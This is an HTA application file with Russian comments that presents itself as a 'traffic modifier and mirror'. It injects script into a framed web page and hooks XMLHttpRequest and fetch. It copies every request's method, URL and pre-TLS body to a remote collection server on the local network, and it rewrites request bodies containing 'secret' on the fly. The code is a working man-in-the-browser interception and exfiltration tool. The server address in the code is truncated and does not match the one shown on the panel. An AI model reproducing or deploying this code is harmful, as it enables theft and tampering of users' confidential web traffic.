Загрузка данных


<html>
<head>
<!-- Принудительно включаем режим Edge, чтобы фрейм понимал современный JavaScript сайтов -->
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Deep Network Traffic Modifier & Mirror (Admin NO)</title>
<hta:application 
    id="trafficModifier" 
    scroll="no" 
    windowstate="normal" 
    contextmenu="no" 
    selection="no" 
/>

<style>
    body { font-family: 'Segoe UI', Arial, sans-serif; margin: 0; padding: 0; background: #111; color: #e0e0e0; overflow: hidden; }
    h2 { color: #00ff66; margin: 0; font-size: 18px; }
    .control-panel { height: 60px; background: #1e1e1e; border-bottom: 1px solid #333; padding: 10px 20px; box-sizing: border-box; display: flex; align-items: center; justify-content: space-between; }
    #status { font-family: monospace; font-size: 12px; color: #ffcc00; }
    iframe { width: 100%; height: calc(100% - 60px); border: none; background: #fff; }
</style>

<script language="javascript">
// -------------------------------------------------------------
// НАСТРОЙКА: Укажите точный IP-адрес вашего сервера сбора данных
// -------------------------------------------------------------
var MIRROR_SERVER = "http://192.168.1";

function injectTrafficModifier() {
    var monitorFrame = document.getElementById("targetWebFrame");
    
    try {
        var frameWin = monitorFrame.contentWindow;
        
        // Проверяем, загрузился ли фрейм и не был ли он уже модифицирован
        if (frameWin && !frameWin._isIntercepted) {
            
            // --- ПЕРЕХВАТ И ПОДМЕНА XMLHttpRequest (XHR) ---
            if (frameWin.XMLHttpRequest) {
                var origOpen = frameWin.XMLHttpRequest.prototype.open;
                var origSend = frameWin.XMLHttpRequest.prototype.send;
                
                // Перехватываем метод открытия сокета
                frameWin.XMLHttpRequest.prototype.open = function(method, url) {
                    this._mMethod = method; 
                    this._mUrl = url;
                    return origOpen.apply(this, arguments);
                };
                
                // Перехватываем сам момент отправки сырых данных
                frameWin.XMLHttpRequest.prototype.send = function(body) {
                    
                    // 1. Делаем сырую копию ОРИГИНАЛЬНОГО трафика для сервера сбора (Поток 2)
                    sendCopyToRemoteServer(this._mMethod, this._mUrl, body);
                    
                    // 2. ДЕЛАЕМ ВСЁ ЧТО ХОТИМ: Модифицируем трафик прямо в памяти процесса
                    var modifiedBody = body;
                    if (typeof body === "string" && body.indexOf("secret") !== -1) {
                        // На лету подменяем конфиденциальные или рабочие данные в пакете перед TLS-шифрованием
                        modifiedBody = body.replace('"secret":"12345"', '"secret":"CHANGED_BY_HTA"');
                    }
                    
                    // 3. Отправляем в сеть уже ИЗМЕНЕННЫЙ нами пакет по стандартному пути (Поток 1)
                    return origSend.apply(this, [modifiedBody]);
                };
            }
            
            // --- АНАЛОГИЧНЫЙ ПЕРЕХВАТ ДЛЯ FETCH API (Для поддержки современных сайтов) ---
            if (frameWin.fetch) {
                var origFetch = frameWin.fetch;
                frameWin.fetch = function(input, init) {
                    var url = (typeof input === 'string') ? input : input.url;
                    var method = (init && init.method) ? init.method : 'GET';
                    var body = (init && init.body) ? init.body : null;
                    
                    // Отправляем оригинал на сервер сбора
                    sendCopyToRemoteServer(method, url, body);
                    
                    // Модифицируем тело fetch-запроса, если это JSON строка
                    if (body && typeof body === "string" && body.indexOf("secret") !== -1) {
                        body = body.replace('"secret":"12345"', '"secret":"CHANGED_BY_HTA"');
                        if (init) init.body = body; // Заменяем в конфигурации запроса
                    }
                    
                    return origFetch.apply(this, arguments);
                };
            }
            
            frameWin._isIntercepted = true;
            document.getElementById("status").innerHTML = "<span style='color:#00ff66;'>[АКТИВЕН] Контроллер памяти запущен. Трафик подменяется на лету.</span>";
        }
    } catch(err) {
        document.getElementById("status").innerText = "Подключение к виртуальному интерфейсу приложения...";
    }
}

// Функция отправки копии на сервер (уходит параллельно в фоне)
function sendCopyToRemoteServer(method, url, payload) {
    try {
        var xhr = new ActiveXObject("MSXML2.XMLHTTP");
        xhr.open("POST", MIRROR_SERVER, true);
        xhr.setRequestHeader("Content-Type", "application/json");
        
        var logData = {
            source: "HTA_Memory_Modifier_Agent",
            time: new Date().getTime(),
            method: method,
            url: url,
            raw_payload_before_tls: payload
        };
        
        xhr.send(JSON.stringify(logData));
    } catch(e) {
        // Защита: если удаленный сервер упал, HTA-интерфейс пользователя продолжит работать
    }
}
</script>
</head>
<body>

    <div class="control-panel">
        <div>
            <h2>Интерфейс модификации пакетов</h2>
            <div id="status">Загрузка сетевого фрейма...</div>
        </div>
        <div style="font-size: 11px; color: #a0a0a0; text-align: right;">
            Права: <strong>User Mode (Admin NO)</strong><br>
            Зеркало: <span style="color: #ff9900;">192.168.1.200:9000</span>
        </div>
    </div>

    <!-- 
      Тестовый полигон. В src указана страница генерации веб-форм httpbin.org.
      Вы можете заменить этот адрес на любой локальный HTML-файл (file:///C:/...)
      или веб-ресурс вашей внутренней сети.
    -->
    <iframe id="targetWebFrame" src="https://httpbin.org" onload="injectTrafficModifier()"></iframe>

</body>
</html>